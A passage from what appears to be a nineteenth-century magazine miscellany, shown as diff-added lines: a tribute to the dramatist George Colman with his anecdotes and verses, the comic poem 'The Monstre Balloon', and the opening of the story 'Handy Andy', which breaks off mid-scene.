+Goldsmith took me on his knee, while he was drinking coffee, one
+evening, with my father, and began to play with me; which amiable act I
+returned with the ingratitude of a peevish brat, by giving him a very
+smart slap in the face; it must have been a tingler, for it left the
+marks of my little spiteful paw upon his cheek. This infantile outrage
+was followed by summary justice; and I was locked up by my indignant
+father in an adjoining room, to undergo solitary imprisonment in the
+dark. Here I began to howl and scream most abominably; which was no bad
+step towards liberation, since those who were not inclined to pity me
+might be likely to set me free, for the purpose of abating a nuisance.
+
+"At length a generous friend appeared to extricate me from jeopardy,
+and that generous friend was no other than the man I had so wantonly
+molested by assault and battery; it was the tender-hearted doctor
+himself, with a lighted candle in his hand, and a smile upon his
+countenance, which was still partially red from the effects of my
+petulance. I sulked and sobbed, and he fondled and soothed; till I began
+to brighten. Goldsmith, who, in regard to children, was like the village
+preacher he has so beautifully described,--for
+
+    'Their welfare pleased him, and their cares distressed,'--
+
+seized the propitious moment of returning good-humour; so he put down
+the candle, and began to conjure. He placed three hats, which happened
+to be in the room, upon the carpet, and a shilling under each: the
+shillings he told me, were England, France, and Spain. 'Hey, presto,
+cockolorum!' cried the doctor,--and, lo! on uncovering the shillings
+which had been dispersed, each beneath a separate hat, they were all
+found congregated under one. I was no politician at five years old,
+and, therefore, might not have wondered at the sudden revolution which
+brought England, France, and Spain all under one crown; but, as I was
+also no conjuror, it amazed me beyond measure. Astonishment might have
+amounted to awe for one who appeared to me gifted with the power of
+performing miracles, if the good-nature of the man had not obviated my
+dread of the magician; but, from that time, whenever the doctor came to
+visit my father,
+
+    'I pluck'd his gown, to share the good man's smile;
+
+a game at romps constantly ensued, and we were always cordial friends,
+and merry play-fellows.
+
+"Foote's earliest notices of me were far from flattering; but, though
+they had none of Goldsmith's tenderness, they had none of Johnson's
+ferocity; and when he accosted me with his usual salutation of 'Blow
+your nose, child!' there was a whimsical manner, and a broad grin upon
+his features, which always made me laugh.
+
+"His own nose was generally begrimed with snuff; and, if he had never
+been more facetious than upon the subject of my _emunctories_, which,
+by the bye, did not went cleansing, I need not tell the reader, that he
+would not have been distinguished as a wit;--he afterwards condescended
+to pass better jokes upon me.
+
+"The paradoxical celebrity which he maintained upon the stage was very
+singular; his satirical sketches were scarcely dramas, and he could not
+be called a good legitimate performer. Yet there is no Shakspeare or
+Roscius upon record who, like Foote, supported a theatre for a series of
+years by his own acting, in his own writings, and, for ten years of the
+time, upon a _wooden leg_!"
+
+The reader, if he have not seen these passages before, will, we are
+sure, sympathise with us in our regrets that the work from which we
+extract them, carries us only in its two volumes to the year 1785,--a
+period at which Colman's fame and reputation had yet to be made.
+
+His first decidedly successful drama was "Inkle and Yarico:" this at
+once established his character as an author. "Ways and Means," "The
+Mountaineers," and "The Iron Chest" followed; and in 1798 he published
+those admirable poems known as "My Night-gown and Slippers." His
+greatest literary triumphs were, however, yet to come. "The Heir at Law"
+was his first regular comedy; and we doubt very much whether he ever
+excelled it, or, indeed, if it has been excelled by more than a very few
+plays in the English language. We know that the theatrical world, and
+we believe the author himself, gave a decided preference to "John Bull;"
+but we admit that as we are unfashionable enough to prefer Sheridan's
+"Rivals" to his "School for Scandal," so are we prepared unhesitatingly
+to declare our opinion that "The Heir at Law" is Colman's
+_chef d'oeuvre_.
+
+"The Poor Gentleman" is an excellent play; and "Who wants a Guinea?"
+although not so decidedly successful as its predecessors, teems
+with that rich humour and quaintness of thought which so strongly
+characterise the writing of its author. His farces of "The Review,"
+"Love laughs at Locksmiths," "We fly by Night," and several others,
+are all admirable in their way. These were given to the town as the
+reductions of Arthur Griffinhoofe, a _nom de guerre_, however, which
+proved quite inefficient in making the public mistake the source whence
+their amusement was derived.
+
+In 1819, Mr. Colman finally retired from the proprietorship and
+management of the Haymarket Theatre. Upon the escape and flight from
+England of Captain Davis, the lieutenant of the Yeoman Guard, his
+Majesty George the Fourth appointed Mr. Colman to succeed him; and on
+the death of Mr. Larpent he also received the appointment of Examiner
+of Plays. The former office he relinquished in favour of Sir John Gete,
+some three or four years since; and in the latter he has, as our readers
+know, been succeeded by Mr. Charles Kemble.
+
+It would be unjust and unfair to the memory of Mr. Colman were we to
+let slip this opportunity of saying a few words upon the subject of his
+conduct in the execution of the duties of this situation; because it
+has been made the object of attack even by men of the highest talent
+and reputation, as well as the low ribald abuse of their literary
+inferiors,--which, however, considering the source whence it came, is
+not worth noticing.
+
+It has been alleged that Mr. Colman was unnecessarily rigid in his
+exclusion of oaths and profane sayings from the dramatic works submitted
+to his inspection; and the gist of the arguments against him touching
+this rigour went to show that he ought not to expunge such expressions
+as examiner, because he had used such expressions himself as an author.
+This reasoning is absurd, the conclusion inconsequential. When Mr.
+Colman wrote plays, he was not bound by oath to regulate their language
+by any fixed standard; and, as all other dramatists of the day had done,
+in a dialogue or depicting a character he used in some--perhaps all
+his dramas--occasional expletives. But Mr. Colman's plays then had to
+be submitted to an examiner, who, conscientiously, did his duty; and,
+from the high moral character of the late licenser, there can be little
+lesson for doubting that _he_, like his successor, drew his pen across
+any expression which he might have considered objectionable; but no one
+ever complained of this, because Mr. Larpent had never written a play,
+or used an oath in its dialogues.
+
+When Mr. Colman assumed the legal and necessary power of correction,
+he had but one course to pursue: he was sworn to perform a certain
+duty assigned to him to the best of his judgment, and to correct any
+expressions which he might consider injurious to the state or to
+morality. What had _he_ to do, as licenser, with what he had himself
+done as author? The _tu quoque_ principle in this use is even more than
+usually absurd; it is as if a schoolmaster were to be prevented from
+flogging a boy for breaking windows, because, when he was a boy, he had
+broken windows himself.
+
+As we have already stated that it is not our intention to make these
+few pages a piece of biography, we shall leave to some better qualified
+person to give the more minute details of Mr. Colman's life. The
+following lines, written by himself, now many years since, and when
+he himself was under fifty, give as good an epitome of his career up
+to that period as fifty pages of matter-of-fact; and from that time
+until the occurrence of the sad event to which the last stanza, so
+pathetically--as it _now_ reads--refers, he lived on in happiness
+and comfort.
+
+
+        A RECKONING WITH TIME.
+
+                   I.
+    Come on, old Time!--Nay, that is stuff;
+    Gaffer! thou comest fast enough;
+      Wing'd foe to feather'd Cupid!--
+    But tell me, Sand-man, ere thy grains
+    Have multiplied upon my brains,
+      So thick to make me stupid;--
+
+                  II.
+    Tell me, Death's journeyman!--But no!
+    Hear thou my speech: I will not grow
+      Irreverent while I try it;
+    For, though I mock thy flight, 'tis said
+    The forelock fills me with such dread,
+      I never take thee by it.
+
+                  III.
+    List, then, old Is, Was, and To-be;
+    I'll state accounts 'twixt thee and me.
+    Thou gav'st me, first, the measles;
+    With teething would'st have ta'en me off;
+    Then mad'st me, with the hooping-cough,
+    Thinner than fifty weasels;
+
+                  IV.
+    Thou gav'st small-pox, (the dragon now
+    That Jenner combats on a cow,)
+      And then some seeds of knowledge,--
+    Grains of Grammar, which the flails
+    Of pedants thresh upon our tails,
+      To fit us for a college.
+
+                   V.
+    And, when at Christ-Church, 'twas thy sport
+    To rack my brains with sloe-juice port,
+      And lectures out of number!
+    There Freshman Folly quaffs and sings,
+    While Graduate Dullness clogs thy wings
+      With mathematic lumber.
+
+                  VI.
+    Thy pinions next,--which, while they wave,
+    Fan all our birth-days to the grave,--
+      I think, ere it was prudent,
+    Balloon'd me from the schools to town,
+    Where I was parachuted down,
+      A dapper Temple student.
+
+                 VII.
+    Then, much in dramas did I look,--
+    Much slighted thee and great Lord Coke:
+      Congreve beat Blackstone hollow;
+    Shakspeare made all the statues stale,
+    And in my crown no pleas had Hale
+      To supersede Apollo.
+
+                VIII.
+    Ah! Time, those raging heats, I find,
+    Were the mere dog-star of my mind;
+      How cool is retrospection!
+    Youth's gaudy summer solstice o'er,
+    Experience yields a mellow store,--
+      An autumn of reflection!
+
+                 IX.
+    Why did I let the God of song
+    Lure me from law to join his throng,
+      Gull'd by some slight applauses?
+    What's verse to A. when versus B.?
+    Or what John Bull, a comedy,
+      To pleading John Bull's causes!
+
+                  X.
+    Yet, though my childhood felt disease,--
+    Though my lank purse, unswoll'n by fees,
+      Some ragged Muse has netted,--
+    Still, honest Chronos! 'tis most true,
+    To thee (and, 'faith! to others too,)
+      I'm very much indebted.
+
+                 XI.
+    For thou hast made me gaily tough,
+    Inured me to each day that's rough,
+      In hopes of calm to-morrow.
+    And when, old mower of us all,
+    Beneath thy sweeping scythe I fall,
+      Some few dear friends will sorrow.
+
+                 XII.
+    Then, though my idle prose or rhyme
+    Should, half an hour, outlive me, Time,
+      Pray bid the stone-engravers,
+    Where'er my bones find church-yard room,
+    Simply to chisel on my tomb,--
+      "Thank Time for all his favours!"
+
+It is a curious coincidence--although considering the proximity of
+their ages there may be nothing really strange in it--that Mr. Colman
+and his intimate friend Bannister should have quitted this mortal world
+so nearly at the same time. The circumstance, however, gives us an
+opportunity of bringing their names together in a manner honourable to
+both. We derive the anecdote from the "Random Records;" and we think
+it will be at this juncture favourably received by those who admire
+dramatic authors and actors, and who rejoice to see traits of private
+worth the concomitants of public excellence.
+
+After recounting the circumstances of his first acquaintance with
+Bannister, Mr. Colman says,
+
+"In the year of my return from Aberdeen, 1784, unconscious of fear
+through ignorance of danger, I rushed into early publicity as an avowed
+dramatist. My father's illness in 1789 obliged me to undertake the
+management of his theatre; which, having purchased at his demise, I
+continued to manage as my own. During such progression, up to the year
+1796 inclusive, I scribbled many dramas for the Haymarket, and one for
+Drury-lane; in almost all of which the younger Bannister (being engaged
+at both theatres) performed a prominent character; so that, for most of
+the thirteen years I have enumerated, he was of the greatest importance
+to my theatrical prosperity in my double capacity of author and manager;
+while I was of some service to him by supplying him with new characters.
+These reciprocal interests made us, of course, such close colleagues,
+that our almost daily consultations promoted amity, while they forwarded
+business.
+
+"From this last-mentioned period, (1796,) we were led by our
+speculations, one after the other, into different tracks. He had
+arrived at that height of London popularity when his visits to various
+provincial theatres in the summer were productive of much more money
+than my scale of expense in the Haymarket could afford to give him. As
+he wintered it, however, in Drury-lane, I profited for two years more by
+his acting in the pieces which I produced there. I then began to write
+for the rival house in Covent Garden, and this parted us as author and
+actor: but separating, as we did, through accident, and with the kindest
+sentiments for each other, it was not likely that we should forget or
+neglect further to cultivate our mutual regard: that regard is now so
+mellowed by time that it will never cease till Time himself,--who, in
+ripening our friendship, has been all the while whetting his scythe for
+the friends,--shall have mowed down the men, and gathered in his harvest.
+
+"One trait of Bannister, in our worldly dealings with each other, will
+nearly bring me to the close of this chapter.
+
+"In the year 1807, after having slaved at some dramatic composition,--I
+forget what,--I had resolved to pass one entire week in luxurious sloth.
+
+"At this crisis,--just as I was beginning the first morning's sacrifice
+upon the altar of my darling goddess, Indolence,--enter Jack Bannister,
+with a huge manuscript under his left arm!--This, he told me, consisted
+of loose materials for an entertainment, with which he meant to "skirr
+the country," under the title of BANNISTER'S BUDGET; but, unless I
+reduced the chaos into some order for him, and that _instantly_,--he
+should lose his tide, and with it his emoluments for the season. In such
+a case there was no balancing between two alternatives, so I deserted my
+darling goddess to drudge through the week for my old companion.
+
+"To concoct the crudities he had brought me, by polishing, expunging,
+adding,--in short, almost re-writing them,--was, it must be confessed,
+labouring under the "horrors of digestion;" but the toil was completed
+at the week's end, and away went Jack Bannister into the country with
+his BUDGET.
+
+"Several months afterwards he returned to town; and I inquired, of
+course, what success?--So great, he answered, that in consequence of the
+gain which had accrued to him through my means, and which he was certain
+would still accrue, (as he now considered the Budget to be an annual
+income for some years to come,) he must insist upon cancelling a bond
+which I had given him, for money he had lent to me. I was astounded; for
+I had never dreamt of fee or reward.
+
+"To prove that he was in earnest, I extract a paragraph from a latter
+which he wrote to me from Shrewsbury.
+
+"'For fear of accidents, I think it necessary to inform you that
+Fladgate, your attorney, is in possession of your bond to me of £700; as
+I consider it _fully discharged_, it is but proper you should have this
+acknowledgment under my hand.                              J.B.'
+
+"Should my unostentatious friend think me indelicate in publishing this
+anecdote, I can only say, that it naturally appertains to the sketch
+I have given of our co-operations in life; and that the insertion of
+it here seems almost indispensable, in order to elucidate my previous
+statement of our having blended so much _sentiment_ with so much
+_traffic_. I feel, too, that it would be downright injustice to him
+if I suppressed it; and would betoken in myself the pride of those
+narrow-minded persons who are ashamed of acknowledging how greatly they
+have profited by the liberal spirit of others.
+
+"The bond above mentioned was given, be it observed, on a private
+account; not for money due to an actor for his professional assistance.
+Gilliland, in his 'Dramatic Mirror,' says that my admission of partners
+'enabled the proprietors to completely liquidate all the demands which
+had for some time past involved the house in temporary embarrassments.'
+This is a gross mistake; the Haymarket Theatre was _never_ embarrassed
+(on the contrary, it was a prosperous speculation) while under my
+direction. My own difficulties during part of this time are another
+matter: I may touch _slightly_ on this hereafter; but shall not bore my
+readers by dwelling long on matters which (however they may have
+annoyed _me_) cannot entertain or interest _them_.
+
+"I regret following up one instance of Mr. Gilliland's inaccuracy
+immediately with another; but he asserts, in his 'Dramatic Mirror,' that
+J. Bannister, 'in the season 1778, made his appearance for the benefit
+of his father, _on the boards of Old Drury_.' In contradiction to the
+foregoing statement a document now lies before me,--I transcribe it
+verbatim:
+
+"'First appearance, _at the Haymarket_, for my father's benefit,
+1778, in The Apprentice. First appearance at Drury-lane, 1779, in
+Zaphna, in Mahomet. Took leave of the stage at Drury-lane, Thursday,
+June 1st, 1815. Garrick instructed me in the four first parts I
+played,--the Apprentice; Zaphna (Mahomet); Dorilas (Merope); and Achmet
+(Barbarossa).--Jack Bannister, to his dear friend George Colman. June
+30th, 1828.'"
+
+These memoranda, under the circumstances, are curious and
+affecting.--Death _has_ gathered in his harvest, and both the
+men _are_ gone.
+
+Of Mr. Colman's delightful manners and conversational powers no words
+can give any adequate idea: with all the advantages of extensive
+reading, a general knowledge of mankind, and an inexhaustible fund of
+wit and humour, he blended a joyousness of expression, a kindness of
+feeling, and a warmth of manner, which rendered him the much-sought
+companion of every circle of society in which he chose to mix. Of his
+literary talents all the world can judge; but it is only those who have
+known him in private life who can appreciate the qualities which we
+despair of being able justly to describe.
+
+
+            IMPROMPTU BY THE LATE GEORGE COLMAN.
+
+About a year since, a young lady begged this celebrated wit to write
+some verses in her album: he shook his head; but, good-naturedly
+promising to try, at once extemporised the following,--most probably his
+last written and poetical jest.
+
+    My muse and I, ere youth and spirits fled,
+      Sat up together many a night, no doubt;
+    But now, I've sent the poor old lass to bed,
+      Simply because _my fire is going out_.
+
+
+
+
+           THE "MONSTRE" BALLOON.
+
+    Oh! the balloon, the great balloon!
+    It left Vauxhall one Monday at noon,
+    And every one said we should hear of it soon
+    With news from Aleppo or Scanderoon.
+    But very soon after, folks changed their tune:
+    "The netting had burst--the silk--the shalloon;
+    It had met with a trade-wind--a deuced monsoon--
+    It was blown out to sea--it was blown to the moon--
+    They ought to have put off their journey till June;
+    Sure none but a donkey, a goose, or baboon,
+    Would go up, in November, in any balloon!"
+
+    Then they talk'd about Green--"Oh! where's Mister Green?
+    And where's Mister Hollond who hired the machine?
+    And where is Monk Mason, the man that has been
+    Up so often before--twelve times or thirteen--
+    And who writes such nice letters describing the scene?
+    And where's the cold fowl, and the ham, and poteen?
+    The press'd beef with the fat cut off,--nothing but lean?
+    And the portable soup in the patent tureen?
+    Have they got to Grand Cairo? or reached Aberdeen?
+    Or Jerusalem--Hamburgh--or Ballyporeen?--
+    No! they have not been seen! Oh! they haven't been seen!"
+
+    Stay! here's Mister Gye--Mr. Frederick Gye.
+    "At Paris," says he, "I've been up very high,
+    A couple of hundred of toises, or nigh,
+    A cockstride the Tuilleries' pantiles, to spy,
+    With Dollond's best telescope stuck at my eye,
+    And my umbrella under my arm like Paul Pry,
+    But I could see nothing at all but the sky;
+    So I thought with myself 'twas of no use to try
+    Any longer; and feeling remarkably dry
+    From sitting all day stuck up there, like a Guy,
+    I came down again and--you see--here am I!"
+
+    But here's Mister Hughes!--What says young Mr. Hughes?
+    "Why, I'm sorry to say, we've not got any news
+    Since the letter they threw down in one of their shoes,
+    Which gave the Mayor's nose such a deuce of a bruise,
+    As he popp'd up his eye-glass to look at their cruise
+    Over Dover; and which the folks flock'd to peruse
+    At Squier's bazaar, the same evening, in crews,
+    Politicians, newsmongers, town council, and blues,
+    Turks, heretics, infidels, jumpers, and Jews,
+    Scorning Bachelor's papers, and Warren's reviews;
+    But the wind was then blowing towards Helvoetsluys,
+    And my father and I are in terrible stews,
+    For so large a balloon is a sad thing to lose!"
+
+    Here's news come at last! Here's news come at last!
+    A vessel's arrived, which has sail'd very fast;
+    And a gentleman serving before the mast,
+    Mister Nokes, has declared that "the party has past
+    Safe across to the Hague, where their grapnel they cast
+    As a fat burgomaster was staring aghast
+    To see such a monster come home on the blast,
+    And it caught in his breeches, and there it stuck fast!"
+
+    Oh! fie! Mister Nokes,--for shame, Mister Nokes!
+    To be poking your fun at us plain-dealing folks--
+    Sir, this isn't a time to be cracking your jokes,
+    And such jesting, your malice but scurvily cloaks;
+    Such a trumpery tale every one of us smokes,
+    And we know very well your whole story's a hoax!
+
+    "Oh! what shall we do? oh! where will it end?
+    Can nobody go? Can nobody send
+    To Calais--or Bergen-op-zoom--or Ostend?
+    Can't you go there yourself? Can't you write to a friend,
+    For news upon which we may safely depend?"
+
+    Huzzah! huzzah! one and eight-pence to pay
+    For a letter from Hamborough, just come to say
+    They descended at Weilburg about break of day;
+    And they've lent them the palace there, during their stay,
+    And the town is becoming uncommonly gay,
+    And they're feasting the party, and soaking their clay
+    With Johannisberg, Rudesheim, Moselle, and Tokay;
+    And the landgraves, and margraves, and counts beg and prey
+    That they won't think as yet, about going away;
+    Notwithstanding, they don't mean to make much delay,
+    But pack up the balloon in a waggon or dray,
+    And pop themselves into a German "_po-shay_,"
+    And get on to Paris by Lisle and Tournay;
+    Where they boldly declare, any wager they'll lay,
+    If the gas people there do not ask them to pay
+    Such a sum as must force them at once to say "Nay,"
+    They'll inflate the balloon in the Champs Elysées,
+    And be back again here, the beginning of May.
+
+    Dear me! what a treat for a juvenile _féte_!
+    What thousands will flock their arrival to greet!
+    There'll be hardly a soul to be seen in the street,
+    For at Vauxhall the whole population will meet,
+    And you'll scarcely get standing-room, much less a seat,
+    For this all preceding attraction must beat:--
+
+    Since, there they'll unfold, what we want to be told,
+    How they cough'd, how they sneez'd, how they shiver'd with cold,
+    How they tippled the "cordial," as racy and old
+    As Hodges, or Deady, or Smith ever sold,
+    And how they all then felt remarkably bold;
+    How they thought the boil'd beef worth its own weight in gold;
+    And how Mister Green was beginning to scold
+    Because Mister Hollond would try to lay hold
+    Of the moon, and had very near overboard roll'd.
+
+    And there they'll be seen--they'll be all to be seen!
+    The great-coats, the coffee-pot, mugs, and tureen!
+    With the tight-rope, and fire-works, and dancing between,
+    If the weather should only prove fair and serene.
+    And there, on a beautiful transparent screen,
+    In the middle you'll see a large picture of Green,
+    With Holland on one side, who hired the machine,
+    And Monk Mason on t'other, describing the scene;
+    And Fame on one leg in the air, like a queen,
+    With three wreaths and a trumpet, will over them lean;
+    While Envy, in serpents and black bombazine,
+    Looks on from below with an air of chagrin.
+
+    Then they'll play up a tune in the Royal Saloon,
+    And the people will dance by the light of the moon,
+    And keep up the ball till the next day at noon;
+    And the peer and the peasant, the lord and the loon,
+    The haughty grandee, and the low picaroon,
+    The six-foot life-guardsman, and little gossoon,
+    Will all join in three cheers for the "monstre" balloon.
+
+
+
+
+                     HANDY ANDY.
+
+Andy Rooney was a fellow who had the most singularly ingenious knack of
+doing every thing the wrong way; disappointment awaited on all affairs
+in which he bore a part, and destruction was at his fingers' ends: so
+the nick-name the neighbours stuck upon him was Handy Andy, and the
+jeering jingle pleased them.
+
+Andy's entrance into this world was quite in character with his after
+achievements, for he was nearly the death of his mother. She survived,
+however, to have herself clawed almost to death while her darling babby
+was in arms, for he would not take his nourishment from the parent fount
+unless he had one of his little red fists twisted into his mother's
+hair, which he dragged till he made her roar; while he diverted the pain
+by scratching her till the blood came, with the other. Nevertheless she
+swore he was "the loveliest and sweetest craythur the sun ever shined
+upon;" and when he was able to run about and wield a little stick, and
+smash every thing breakable belonging to her, she only praised his
+precocious powers, and used to ask, "Did ever any one see a darlin' of
+his age handle a stick so bowld as he did?"
+
+Andy grew up in mischief and the admiration of his mammy; but, to do him
+justice, he never meant harm in the course of his life, and was most
+anxious to offer his services on all occasions to any one who would
+accept them; but they were only those who had not already proved Andy's
+peculiar powers.
+
+There was a farmer hard by in this happy state of ignorance, named Owen
+Doyle, or, as he was familiarly called, _Owny na Coppal_, or, "Owen of
+the Horses," because he bred many of these animals, and sold them at
+the neighbouring fairs; and Andy one day offered his services to Owny
+when he was in want of some one to drive up a horse to his house from a
+distant "bottom," as low grounds by a river side are always called in
+Ireland.
+
+"Oh, he's wild, Andy, and you'd never be able to ketch him," said
+Owny.--"Throth, an' I'll engage I'll ketch him if you'll let me go. I
+never seen the horse I couldn't ketch, sir," said Andy.
+
+"Why, you little spridhogue, if he took to runnin' over the long bottom,
+it 'ud be more than a day's work for you to folly him."--"Oh, but he
+won't run."
+
+"Why won't he run?"--"Bekase I won't make him run."
+
+"How can you help it?"--"I'll soother him."
+
+"Well, you're a willin' brat, any how; and so go, and God speed you!"
+said Owny.
+
+"Just gi' me a wisp o' hay an' a han'ful iv oats," said Andy, "if I
+should have to coax him."--"Sartinly," said Owny, who entered the stable
+and came forth with the articles required by Andy, and a halter for the
+horse also.
+
+   [Illustration: Handy Andy]
+
+"Now, take care," said Owny, "that you're able to ride that horse if you
+get on him."--"Oh, never fear, sir. I can ride owld Lanty Gubbin's mule
+betther nor any o' the other boys on the common, and he couldn't throw
+me th' other day, though he kicked the shoes av him."
+
+"After that you may ride any thing," said Owny: and indeed it was true;
+for Lanty's mule, which fed on the common, being ridden slily by all the
+young vagabonds in the neighbourhood, had become such an adept in the
+art of getting rid of his troublesome customers, that it might be well
+considered a feat to stick on him.
+
+"Now, take grate care of him, Andy, my boy," said the farmer.--"Don't be
+afeard sir," said Andy, who started on his errand in that peculiar pace
+which is elegantly called a "sweep's trot;" and as the river lay between
+Owny Doyle's and the bottom, and was too deep for Andy to ford at that
+season, he went round by Dinny Dowling's mill, where a small wooden
+bridge crossed the stream.
+
+Here he thought he might as well secure the assistance of Paudeen, the
+miller's son, to help him in catching the horse; an he looked about the
+place until he found him, and, telling him the errand on which he was
+going, said, "If you like to come wid me, we can both have a ride." This
+was temptation sufficient for Paudeen, and the boys proceeded together
+to the bottom, and they were not long in securing the horse. When they
+had got the halter over his head, "Now," said Andy, "give me a lift on
+him;" and accordingly by Paudeen's catching Andy's left foot in both
+his hands clasped together in the fashion of a stirrup, he hoisted
+his friend on the horse's back; and, as soon as he was secure there,
+Master Paudeen, by the aid of Andy's hand contrived to scramble up after
+him; upon which Andy applied his heels into the horse's side with many
+vigorous kicks, and crying "Hurrup!" at the same time, endeavoured to
+stimulate Owny's steed into something of a pace as he turned his head
+towards the mill.
+
+"Sure aren't you going to crass the river?" said Paudeen.--"No, I'm
+going to lave you at home."
+
+"Oh, I'd rather go up to Owny's, and it's the shortest way acrass the
+river."--"Yes but I don't like--"
+
+"Is it afeard you are?" said Paudeen.--"Not I, indeed," said Andy;
+though it was really the fact, for the width of the stream startled him;
+"but Owny towld me to take grate care o' the baste and I'm loath to wet
+his feet."
+
+"Go 'long wid you, you fool! what harm would it do him? Sure he's
+neither sugar nor salt that he'd melt."
+
+"Well, I won't, any how," said Andy, who by this time had got the
+horse into a good high trot, that shook every word of argument out of
+Paudeen's body; besides, it was as much as the boys could do to keep
+their seats on Owny's Bucephalus, who was not long in reaching the
+miller's bridge. Here voice and rein were employed to pull him in, that
+he might cross the narrow wooden structure at a quiet pace. But whether
+his double load had given him the idea of double exertion, or that the
+pair of legs on each side sticking into his flanks (and perhaps the
+horse was ticklish) made him go the faster, we know not: but the horse
+charged the bridge as if an Enniskilliner were on his back, and an enemy
+before him; and in two minutes his hoofs cluttered like thunder on the
+bridge, that did not bend beneath him. No, it did _not_ bend, but it
+broke: proving the falsehood of the boast, "I may break, but I won't
+bend:" for, after all, the really strong may bend, and be as strong as
+ever: it is the unsound, that has only the seeming of strength, that
+breaks at last when it resists too long.
+
+Surprising was the spin the young equestrians took over the ears of the
+horse, enough to make all the artists of Astley's envious; and plump
+they went into the river, where each formed his own ring, and executed
+some comical "scenes in the circle," which were suddenly changed to
+evolutions on the "flying cord" that Dinny Dowling threw the performers,
+which became suddenly converted into a "tight rope" as he dragged
+the _voltigeurs_ out of the water; and, for fear their blood might
+be chilled by the accident, he gave them both an enormous thrashing
+with the _dry_ end of the rope, just to restore circulation; and his
+exertions, had they been witnessed, would have charmed the Humane
+Society.
+
+As for the horse, his legs stuck through the bridge, as though he had
+been put in a _chiroplast_, and he went playing away on the water with
+considerable execution, as if he were accompanying himself in the song
+which he was squealing at the top of his voice. Half the saws, hatchets,
+ropes, and poles in the parish were put in requisition immediately; and
+the horse's first lesson in _chiroplastic_ exercise was performed with
+no other loss than some skin and a good deal of hair. Of course Andy did
+not venture on taking Owny's horse home; so the miller sent him to his
+owner with an account of the accident. Andy for years kept out of Owny
+na Coppal's way; and at any time that his presence was troublesome, the
+inconvenienced party had only to say, "Isn't that Owny na Coppal coming
+this way?" and Andy fled for his life,
+
+When Andy grew up to what in country parlance is called "a brave lump
+of a boy," his mother thought he was old enough to do something for
+himself; so she took him one day along with her to the squire's, and
+waited outside the door, loitering up and down the yard behind the
+house, among a crowd of beggars and great lazy dogs that were thrusting
+their herds into every iron pot that stood outside the kitchen door,
+until chance might give her "a sight o' the squire afore he wint out
+or afore he wint in;" and, after spending her entire day in this idle
+way, at last the squire made his appearance, and Judy presented her son,
+who kept scraping his foot, and pulling his forelock, that stuck out
+like a piece of ragged thatch from his forehead, making his obeisance
+to the squire, while his mother was sounding his praises for being the
+"handiest craythur alive--and so willin'--nothing comes wrong to him."
+
+"I suppose the English of all this is, you want me to take him?" said
+the squire.--"Throth, an' your honour, that's just it--if your honour
+would be plazed."
+
+"What can he do?"--"Anything, your honour."
+
+"That means _nothing_, I suppose," said the squire.--"Oh, no, sir.
+Everything, I mane, that you would desire him to do."
+
+To every one of these assurances on his mother's part Andy made a bow
+and a scrape.
+
+"Can he take care of horses?"--"The best of care, sir," said the mother,
+while the miller, who was standing behind the squire waiting for orders,
+made a grimace at Andy, who was obliged to cram his face to his hat to
+hide the laugh, which he could hardly smother from being heard, as well
+as seen.
+
+"Let him come, then, and help in the stables, and we'll see what he can
+do."--"May the Lord--"
+
+"That'll do--there, now go."--"Oh, sure, but I'll pray for you, and--"
+
+"Will you go?"--"And may angels make your honour's bed this blessed
+night, I pray!"
+
+"If you don't go, your son shan't come."
+
+Judy and her hopeful boy turned to the right-about in double-quick time,
+and hurried down the avenue.
+
+The next day Andy was duly installed into his office of stable-helper;
+and, as he was a good rider, he was soon made whipper-in to the hounds,
+as there was a want of such a functionary in the establishment; and
+Andy's boldness in this capacity made him soon a favourite with the
+squire, who was one of those rollicking boys on the pattern of the old
+school, who scorned the attentions of a regular valet, and let any one
+that chance threw in his way bring him his boots, or his hot water for
+shaving, or his coat, whenever it _was_ brushed. One morning, Andy, who
+was very often the attendant on such occasions, came to his room with
+hot water. He tapped at the door.
+
+"Who's that?" said the squire, who was but just risen, and did not know
+but it might be one of the women servants.--"It's me, sir."
+
+"Oh--Andy! Come in."--"Here's the hot wather, sir," said Andy, bearing
+an enormous tin can.
+
+"Why, what the d--l brings that tin can here? You might as well bring
+the stable-bucket."--"I beg your pardon, sir," said Andy retreating. In
+two minutes more Andy came back, and, tapping at the door, put in his
+head cautiously, and said, "The maids in the kitchen, your honour, says
+there's not so much hot wather ready."
+
+"Did I not see it a moment since in your hands?"--"Yes, sir, but that's
+not nigh the full o' the stable-bucket."
+
+"Go along, you stupid thief! and get me some hot water directly."--"Will
+the can do, sir?"
+
+"Ay, anything, so you make haste."
+
+Off posted Andy, and back he came with the can.
+
+"Where'll I put it, sir?"--"Throw this out," said the squire, handing
+Andy a jug containing some cold water, meaning the jug to be replenished
+with the hot.
+
+Andy took the jug, and, the window of the room being open, he very
+deliberately threw the jug out. The squire stared with wonder, and at
+last said,
+
+"What did you do that for?"--"Sure you _towld_ me to throw it out, sir."
+
+"Go out of this, you thick-headed villain!" said the squire, throwing
+his boots at Andy's head, along with some very neat curses. Andy
+retreated, and thought himself a very ill-used person.
+
+Though Andy's regular business was "whipper-in," yet he was liable to
+be called on for the performance of various other duties: he sometimes
+attended at table when the number of guests required that all the subs
+should be put in requisition, or rode on some distant errand for "the
+mistress," or drove out the nurse and children on the jaunting-car; and
+many were the mistakes, delays, or accidents arising from Handy Andy's
+interference in such matters; but, as they were never serious, and
+generally laughable, they never cost him the loss of his place or the
+squire's favour, who rather enjoyed Andy's blunders.
+
+The first time Andy was admitted into the mysteries of the dining-room,
+great was his wonder. The butler took him in to give him some previous
+instructions, and Andy was so lost in admiration at the sight of the
+assembled glass and plate, that he stood with his mouth and eyes wide
+open, and scarcely heard a word that was said to him. After the head-man
+had been dinning his instructions into him for some time, he said he
+might go until his attendance was required. But Andy moved not; he stood
+with his eyes fixed by a sort of fascination on some object that seemed
+to rivet them with the same unaccountable influence that the snake
+exercises over its victim.
+
+"What are you looking at?" said the butler.--"Them things, sir," said
+Andy, pointing to some silver forks.
+
+"Is it the forks?" said the butler.--"Oh no, sir! I know what forks is
+very well; but I never seen them things afore."
+
+"What things do you mean?"--"These things, sir," said Andy, taking up
+one of the silver forks, and turning it round and round in his hand
+in utter astonishment, while the butler grinned at his ignorance, and
+enjoyed his own superior knowledge.
+
+"Well!" said Andy, after a long pause, "the divil be from me if ever I
+seen a silver spoon split that way before."
+
+The butler laughed a horse-laugh, and made a standing joke of Andy's
+split spoon; but time and experience made Andy less impressed with
+wonder at the show of plate and glass, and the split spoons became
+familiar as 'household words' to him; yet still there were things in
+the duties of table attendance beyond Andy's comprehension,--he used to
+hand cold plates for fish, and hot plates for jelly, &c. But 'one day,'
+as Zanga says,--'one day' he was thrown off his centre in a remarkable
+degree by a bottle of soda water.
+
